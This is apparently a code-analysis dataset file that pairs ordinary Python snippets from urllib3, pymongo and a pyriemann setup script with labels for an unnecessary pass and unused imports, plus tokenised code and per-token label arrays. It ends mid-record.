[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unnecessary pass
RoseOu/flasky/venv/lib/python2.7/site-packages/requests/packages/urllib3/connectionpool.py
[ { "content": " def _get_conn(self, timeout=None):\n \"\"\"\n Get a connection. Will return a pooled connection if one is available.\n\n If no connections are available and :prop:`.block` is ``False``, then a\n fresh connection is returned.\n\n :param timeout:\n Seconds to wait before giving up and raising\n :class:`urllib3.exceptions.EmptyPoolError` if the pool is empty and\n :prop:`.block` is ``True``.\n \"\"\"\n conn = None\n try:\n conn = self.pool.get(block=self.block, timeout=timeout)\n\n except AttributeError: # self.pool is None\n raise ClosedPoolError(self, \"Pool is closed.\")\n\n except Empty:\n if self.block:\n raise EmptyPoolError(self,\n \"Pool reached maximum size and no more \"\n \"connections are allowed.\")\n pass # Oh well, we'll create a new connection then\n\n # If this is a persistent connection, check if it got disconnected\n if conn and is_connection_dropped(conn):\n log.info(\"Resetting dropped connection: %s\" % self.host)\n conn.close()\n\n return conn or self._new_conn()", "metadata": "root.HTTPConnectionPool._get_conn", "header": "['class', 'HTTPConnectionPool', '(', 'ConnectionPool', ',', 'RequestMethods', ')', ':', '___EOS___']", "index": 185 } ]
[ { "span": "pass ", "start_line": 209, "start_column": 12, "end_line": 209, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "necessar", "y_", "pass_", "[SEP]_", "class_", "HTTP", "Connect", "ion", "Pool_", "(_", "Connect", "ion", "Pool_", ",_", "Request", "Methods_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "conn_", "(_", "self_", ",_", "timeout_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "a", " ", "connecti", "on", ".", " ", "Wil", "l", " ", "return", " ", "a", " ", "pooled", " ", "connecti", "on", " ", "if", " ", "one", " ", "is", " ", "avail", "able", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "no", " ", "connections", " ", "are", " ", "avail", "able", " ", "and", " ", ":", "prop", ":`", ".", "block", "`", " ", "is", " ", "``", "Fal", "se", "``", ",", " ", "then", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "fresh", " ", "connecti", "on", " ", "is", " ", "return", "ed", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "timeo", "ut", ":", "\\", "10", ";", " ", " ", " ", " ", "Second", "s", " ", "to", " ", "wait", " ", "bef", "ore", " ", "gi", "ving", " ", "up", " ", "and", " ", "rais", "ing", "\\", "10", ";", " ", " ", " ", " ", ":", "class", ":`", "url", "lib", "3", ".", "exception", "s", ".", "Emp", "ty", "Poo", "l", "Error", "`", " ", "if", " ", "the", " ", "pool", " ", "is", " ", "empty", " ", "and", "\\", "10", ";", " ", " ", " ", " ", ":", "prop", ":`", ".", "block", "`", " ", "is", " ", "``", "Tru", "e", "``.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conn_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conn_", "=_", "self_", "._", "pool_", "._", "get_", "(_", "block_", "=_", "self_", "._", "block_", ",_", "timeout_", "=_", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "#", " ", "self", ".", "pool", " ", "is", " ", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Clos", "ed", "Poo", "l", "Error_", "(_", "self_", ",_", "\"", "Poo", "l", " ", "is", " ", "close", "d", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Empty_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "block_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Emp", "ty", "Poo", "l", "Error_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Poo", "l", " ", "reache", "d", " ", "maxim", "um", " ", "size", " ", "and", " ", "no", " ", "more", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "connections", " ", "are", " ", "allow", "ed", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pass_", "#", " ", "Oh", " ", "well", ",", " ", "we", "'", "ll", " ", "create", " ", "a", " ", "new", " ", "connecti", "on", " ", "then_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "is", " ", "a", " ", "persiste", "nt", " ", "connecti", "on", ",", " ", "check", " ", "if", " ", "it", " ", "got", " ", "disconnected", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "conn_", "and_", "is", "\\u", "connecti", "on", "\\u", "dropped", "_", "(_", "conn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "info_", "(_", "\"", "Reset", "ting", " ", "dropped", " ", "connecti", "on", ":", " ", "%", "s", "\"_", "%_", "self_", "._", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conn_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "conn_", "or_", "self_", "._", "\\u", "new", "\\u", "conn_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
mongodb/mongo-python-driver/bson/py3compat.py
[ { "content": "# Copyright 2009-2015 MongoDB, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you\n# may not use this file except in compliance with the License. You\n# may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\n\"\"\"Utility functions and definitions for python3 compatibility.\"\"\"\n\nimport sys\n\nPY3 = sys.version_info[0] == 3\n\nif PY3:\n import codecs\n import _thread as thread\n from io import BytesIO as StringIO\n MAXSIZE = sys.maxsize\n\n imap = map\n\n\n\n\n\n\n\n\n text_type = str\n string_type = str\n integer_types = int\nelse:\n import thread\n\n from itertools import imap\n try:\n from cStringIO import StringIO\n except ImportError:\n from StringIO import StringIO\n\n MAXSIZE = sys.maxint\n\n\n\n\n\n\n # \"raise x, y, z\" raises SyntaxError in Python 3\n exec(\"\"\"def reraise(exctype, value, trace=None):\n raise exctype, str(value), trace\n\"\"\")\n\n _unicode = unicode\n\n string_type = basestring\n text_type = unicode\n integer_types = (int, long)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": " def b(s):\n # BSON and socket operations deal in binary data. In\n # python 3 that means instances of `bytes`. In python\n # 2.6 and 2.7 you can create an alias for `bytes` using\n # the b prefix (e.g. b'foo').\n # See http://python3porting.com/problems.html#nicer-solutions\n return codecs.latin_1_encode(s)[0]", "metadata": "root.b", "header": "['module', '___EOS___']", "index": 28 }, { "content": " def u(s):\n # PY3 strings may already be treated as unicode literals\n return s", "metadata": "root.u", "header": "['module', '___EOS___']", "index": 36 }, { "content": " def bytes_from_hex(h):\n return bytes.fromhex(h)", "metadata": "root.bytes_from_hex", "header": "['module', '___EOS___']", "index": 40 }, { "content": " def iteritems(d):\n return iter(d.items())", "metadata": "root.iteritems", "header": "['module', '___EOS___']", "index": 43 }, { "content": " def itervalues(d):\n return iter(d.values())", "metadata": "root.itervalues", "header": "['module', '___EOS___']", "index": 46 }, { "content": " def reraise(exctype, value, trace=None):\n raise exctype(str(value)).with_traceback(trace)", "metadata": "root.reraise", "header": "['module', '___EOS___']", "index": 49 }, { "content": " def _unicode(s):\n return s", "metadata": "root._unicode", "header": "['module', '___EOS___']", "index": 52 }, { "content": " def b(s):\n # See comments above. In python 2.x b('foo') is just 'foo'.\n return s", "metadata": "root.b", "header": "['module', '___EOS___']", "index": 69 }, { "content": " def u(s):\n \"\"\"Replacement for unicode literal prefix.\"\"\"\n return unicode(s.replace('\\\\', '\\\\\\\\'), 'unicode_escape')", "metadata": "root.u", "header": "['module', '___EOS___']", "index": 73 }, { "content": " def bytes_from_hex(h):\n return h.decode('hex')", "metadata": "root.bytes_from_hex", "header": "['module', '___EOS___']", "index": 77 }, { "content": " def iteritems(d):\n return d.iteritems()", "metadata": "root.iteritems", "header": "['module', '___EOS___']", "index": 80 }, { "content": " def itervalues(d):\n return d.itervalues()", "metadata": "root.itervalues", "header": "['module', '___EOS___']", "index": 83 } ]
[ { "span": "import _thread as thread", "start_line": 22, "start_column": 4, "end_line": 22, "end_column": 28 }, { "span": "from io import BytesIO as StringIO", "start_line": 23, "start_column": 4, "end_line": 23, "end_column": 38 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "200", "9", "-", "201", "5", " ", "Mon", "go", "DB", ",", " ", "Inc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", " ", "you", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", ".", " ", " ", "You", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "impli", "ed", ".", " ", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "permissi", "ons", " ", "and", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Utili", "ty", " ", "function", "s", " ", "and", " ", "definit", "ion", "s", " ", "for", " ", "python", "3", " ", "compatibility", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PY", "3_", "=_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", "]_", "==_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "PY", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "codecs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "\\u", "thread_", "as_", "thread_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "io_", "import_", "Byte", "s", "IO_", "as_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "MAX", "SIZE_", "=_", "sys_", "._", "maxsize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "imap_", "=_", "map_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "text", "\\u", "type_", "=_", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "string", "\\u", "type_", "=_", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "integ", "er", "\\u", "types_", "=_", "int_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "thread_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "itertools_", "import_", "imap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "c", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "MAX", "SIZE_", "=_", "sys_", "._", "maxint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "raise", " ", "x", ",", " ", "y", ",", " ", "z", "\"", " ", "raise", "s", " ", "Syntax", "Error", " ", "in", " ", "Pyth", "on", " ", "3_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "exec_", "(_", "\"\"\"", "def", " ", "reraise", "(", "exc", "type", ",", " ", "value", ",", " ", "trace", "=", "Non", "e", "):", "\\", "10", ";", " ", " ", " ", " ", "raise", " ", "exc", "type", ",", " ", "str", "(", "value", "),", " ", "trace", "\\", "10", ";\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "unicode_", "=_", "unicode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "string", "\\u", "type_", "=_", "basestring_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text", "\\u", "type_", "=_", "unicode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "integ", "er", "\\u", "types_", "=_", "(_", "int_", ",_", "long_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "b_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "BS", "ON", " ", "and", " ", "socket", " ", "operati", "ons", " ", "deal", " ", "in", " ", "binar", "y", " ", "data", ".", " ", "In_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "python", " ", "3", " ", "tha", "t", " ", "means", " ", "instance", "s", " ", "of", " ", "`", "bytes", "`.", " ", "In", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "2.6", " ", "and", " ", "2.7", " ", "you", " ", "can", " ", "create", " ", "an", " ", "alias", " ", "for", " ", "`", "bytes", "`", " ", "using_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "b", " ", "prefix", " ", "(", "e", ".", "g", ".", " ", "b", "'", "foo", "')", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "http", "://", "python", "3p", "ort", "ing", ".", "com", "/", "problem", "s", ".", "html", "#", "nice", "r", "-", "solutions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "codecs_", "._", "latin", "\\u", "1", "\\u", "encode_", "(_", "s_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "u_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "PY", "3", " ", "string", "s", " ", "may", " ", "alr", "ead", "y", " ", "be", " ", "treat", "ed", " ", "as", " ", "unicode", " ", "literals_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bytes", "\\u", "from", "\\u", "hex_", "(_", "h_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "bytes_", "._", "fromhe", "x_", "(_", "h_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "iteritems_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "iter_", "(_", "d_", "._", "items_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "itervalues_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "iter_", "(_", "d_", "._", "values_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reraise", "_", "(_", "exc", "type_", ",_", "value_", ",_", "trace_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc", "type_", "(_", "str_", "(_", "value_", ")_", ")_", "._", "with", "\\u", "traceback_", "(_", "trace_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "unicode_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "b_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "See", " ", "comment", "s", " ", "above", ".", " ", "In", " ", "python", " ", "2", ".", "x", " ", "b", "('", "foo", "')", " ", "is", " ", "just", " ", "'", "foo", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "u_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Replace", "ment", " ", "for", " ", "unicode", " ", "literal", " ", "prefix", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "unicode_", "(_", "s_", "._", "replace_", "(_", "'\\\\\\\\'_", ",_", "'\\\\\\\\\\\\\\\\", "'_", ")_", ",_", "'", "unicode", "\\u", "escape", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bytes", "\\u", "from", "\\u", "hex_", "(_", "h_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "h_", "._", "decode_", "(_", "'", "hex", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "iteritems_", "(_", "d_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "d_", "._", "iteritems_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "itervalues_", "(_", "d_", ")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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
gleicon/pyriemann/setup.py
[ { "content": "import sys, os, os.path, subprocess\nfrom setuptools.command import easy_install\nimport pkg_resources as pkgrsrc\n\nfrom setuptools import setup\nfrom distutils import log\nlog.set_threshold(log.INFO)\n\nsetup(\n name = \"pyriemann\",\n version = \"0.1\",\n\n packages = ['riemann', 'riemann.pb'],\n zip_safe = False,\n install_requires = ['%s>=%s' % x for x in dict(\n protobuf = \"2.4.1\",\n ).items()],\n\n # metadata for upload to PyPI\n author = \"Gleicon Moraes\",\n author_email = \"[email protected]\",\n keywords = \"events reimann\",\n description = \"python driver for riemann\",\n url = \"https://github.com/gleicon/pyriemann\",\n )\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import sys, os, os.path, subprocess", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 35 }, { "span": "from setuptools.command import easy_install", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 43 }, { "span": "import pkg_resources as pkgrsrc", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 31 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "sys_", ",_", "os_", ",_", "os_", "._", "path_", ",_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "setuptools_", "._", "command_", "import_", "easy", "\\u", "install_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pkg", "\\u", "resources_", "as_", "pkg", "rsrc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "setuptools_", "import_", "setup_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "import_", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "set\\u", "threshold_", "(_", "log_", "._", "INFO_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup_", "(_", "\\u\\u\\uNL\\u\\u\\u_", 